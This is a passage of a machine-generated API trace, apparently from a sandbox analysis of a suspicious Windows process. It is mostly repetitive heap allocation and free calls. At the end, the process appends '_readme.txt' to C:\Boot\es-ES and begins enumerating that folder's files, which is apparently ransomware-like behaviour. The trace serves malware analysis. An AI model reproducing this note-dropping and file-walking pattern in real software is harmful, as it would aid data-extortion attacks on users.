(in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.280] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.280] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.280] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.280] PathFindFileNameW (pszPath="") returned="" [0122.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.280] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.280] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.281] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.281] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x3067040 [0122.281] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0122.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.281] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0122.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.283] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.283] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.283] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.283] FindNextFileW 